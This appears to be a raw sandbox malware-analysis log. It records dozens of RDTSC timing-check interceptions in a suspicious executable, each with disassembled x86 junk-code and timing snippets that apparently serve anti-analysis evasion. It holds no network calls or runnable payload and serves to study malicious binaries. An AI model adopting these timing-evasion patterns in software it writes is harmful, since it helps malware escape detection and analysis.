Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77C10 second address: A77C14 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77D13 second address: A77D5E instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDE8CE8B4CCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f pushad 0x00000010 je 00007FDE8CE8B4C6h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007FDE8CE8B4CCh 0x0000001f pop eax 0x00000020 popad 0x00000021 mov eax, dword ptr [eax] 0x00000023 jo 00007FDE8CE8B4D2h 0x00000029 jne 00007FDE8CE8B4CCh 0x0000002f mov dword ptr [esp+04h], eax 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77D5E second address: A77D69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FDE8C51D4D6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77D69 second address: A77D70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77E20 second address: A77E26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77E26 second address: A77E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FDE8CE8B4D8h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jns 00007FDE8CE8B4CCh 0x00000013 jo 00007FDE8CE8B4CCh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77F85 second address: A77F9A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDE8C51D4DCh 0x00000008 ja 00007FDE8C51D4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A77F9A second address: A77FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007FDE8CE8B4C8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Dh 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push ebx 0x00000022 ja 00007FDE8CE8B4C8h 0x00000028 pop edx 0x00000029 add edi, 5F85A936h 0x0000002f push 00000004h 0x00000031 add dword ptr [ebp+122D2A0Bh], esi 0x00000037 push eax 0x00000038 pushad 0x00000039 jmp 00007FDE8CE8B4D3h 0x0000003e push eax 0x0000003f push edx 0x00000040 push esi 0x00000041 pop esi 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78385 second address: A7838A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A7838A second address: A783D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 je 00007FDE8CE8B4C6h 0x0000000e push 0000001Eh 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FDE8CE8B4C8h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 00000018h 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a clc 0x0000002b push eax 0x0000002c pushad 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FDE8CE8B4D2h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A784F2 second address: A784F7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A78757 second address: A787E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push ecx 0x0000000d call 00007FDE8CE8B4C8h 0x00000012 pop ecx 0x00000013 mov dword ptr [esp+04h], ecx 0x00000017 add dword ptr [esp+04h], 00000017h 0x0000001f inc ecx 0x00000020 push ecx 0x00000021 ret 0x00000022 pop ecx 0x00000023 ret 0x00000024 mov dword ptr [ebp+122D3933h], ecx 0x0000002a jmp 00007FDE8CE8B4D7h 0x0000002f lea eax, dword ptr [ebp+1247C342h] 0x00000035 mov di, 078Fh 0x00000039 push eax 0x0000003a jmp 00007FDE8CE8B4D5h 0x0000003f mov dword ptr [esp], eax 0x00000042 mov ecx, dword ptr [ebp+122D2C2Fh] 0x00000048 lea eax, dword ptr [ebp+1247C2FEh] 0x0000004e movsx ecx, bx 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 jnp 00007FDE8CE8B4C6h 0x0000005b jnp 00007FDE8CE8B4C6h 0x00000061 popad 0x00000062 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB80E8 second address: AB80FF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FDE8C51D4D6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB80FF second address: AB8119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4D3h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8119 second address: AB811E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB811E second address: AB815F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FDE8CE8B4C6h 0x0000000a pop edi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FDE8CE8B4D6h 0x00000013 push edx 0x00000014 jmp 00007FDE8CE8B4D6h 0x00000019 pop edx 0x0000001a pushad 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB815F second address: AB8168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB8168 second address: AB816C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB816C second address: AB8180 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E0h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB82CF second address: AB82D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB843E second address: AB8460 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDE8C51D4D6h 0x00000008 jl 00007FDE8C51D4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007FDE8C51D4E2h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB85CA second address: AB85DA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FDE8CE8B4C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB85DA second address: AB85DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB85DE second address: AB85E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB85E8 second address: AB85EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB88A0 second address: AB88A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB88A4 second address: AB88AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB88AA second address: AB88B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB88B4 second address: AB88BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB88BA second address: AB88BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD200 second address: ABD204 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD204 second address: ABD20A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD8A0 second address: ABD8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD8A9 second address: ABD8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD8AD second address: ABD8C5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FDE8C51D4DAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnp 00007FDE8C51D4E2h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD8C5 second address: ABD8CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABD8CB second address: ABD8D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 js 00007FDE8C51D4DCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABDC14 second address: ABDC48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDE8CE8B4D8h 0x0000000e push esi 0x0000000f jmp 00007FDE8CE8B4CBh 0x00000014 jl 00007FDE8CE8B4C6h 0x0000001a pop esi 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABDC48 second address: ABDC5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E1h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE1D8 second address: ABE1DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE1DE second address: ABE1F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FDE8C51D4DEh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE1F2 second address: ABE20B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDE8CE8B4D3h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE20B second address: ABE20F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ABE20F second address: ABE241 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 jmp 00007FDE8CE8B4CDh 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FDE8CE8B4D8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC24BF second address: AC24CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC24CA second address: AC24D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC24D5 second address: AC24D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC24D9 second address: AC24DF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4758 second address: AC4768 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FDE8C51D4D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4768 second address: AC476C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC42B2 second address: AC42C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8C51D4E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC42C8 second address: AC42DC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE8CE8B4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FDE8CE8B4C6h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC42DC second address: AC42EC instructions: 0x00000000 rdtsc 0x00000002 jc 00007FDE8C51D4D6h 0x00000008 jng 00007FDE8C51D4D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4440 second address: AC4446 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AC4446 second address: AC444C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB566 second address: ACB598 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007FDE8CE8B4CFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FDE8CE8B4D3h 0x00000010 popad 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FDE8CE8B4C6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB736 second address: ACB73C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACB73C second address: ACB746 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEFE7 second address: ACEFEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACEFEB second address: ACF000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jp 00007FDE8CE8B4C6h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE9B7 second address: ACE9D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8C51D4E9h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACE9D6 second address: ACE9DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACECDB second address: ACECE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007FDE8C51D4D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ACECE8 second address: ACED01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5850 second address: AD5856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5B3D second address: AD5B48 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007FDE8CE8B4C6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5B48 second address: AD5B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5CDA second address: AD5CE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5CE7 second address: AD5CEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5CEB second address: AD5D13 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FDE8CE8B4D0h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDE8CE8B4CCh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5D13 second address: AD5D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E47 second address: AD5E79 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FDE8CE8B4C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FDE8CE8B4D3h 0x0000000f jmp 00007FDE8CE8B4D1h 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AD5E79 second address: AD5E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF39F second address: ADF3BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jng 00007FDE8CE8B4C8h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 jmp 00007FDE8CE8B4CBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADF3BE second address: ADF3D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DAh 0x00000007 jmp 00007FDE8C51D4DBh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD3A1 second address: ADD3A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD3A5 second address: ADD3AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD502 second address: ADD52F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDE8CE8B4D1h 0x00000009 jbe 00007FDE8CE8B4C6h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FDE8CE8B4CDh 0x00000017 pushad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD52F second address: ADD535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD535 second address: ADD56B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jng 00007FDE8CE8B4C6h 0x0000000d jc 00007FDE8CE8B4C6h 0x00000013 jmp 00007FDE8CE8B4D1h 0x00000018 popad 0x00000019 popad 0x0000001a jnp 00007FDE8CE8B4F9h 0x00000020 push eax 0x00000021 push edx 0x00000022 jp 00007FDE8CE8B4C6h 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD56B second address: ADD56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD56F second address: ADD58D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD6B9 second address: ADD6CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jl 00007FDE8C51D4D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007FDE8C51D4DCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD6CD second address: ADD6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD6D1 second address: ADD6EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DFh 0x00000007 jo 00007FDE8C51D4DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD6EA second address: ADD6F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD6F5 second address: ADD6FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD6FC second address: ADD701 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADD701 second address: ADD710 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007FDE8C51D4D6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: ADDA24 second address: ADDA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
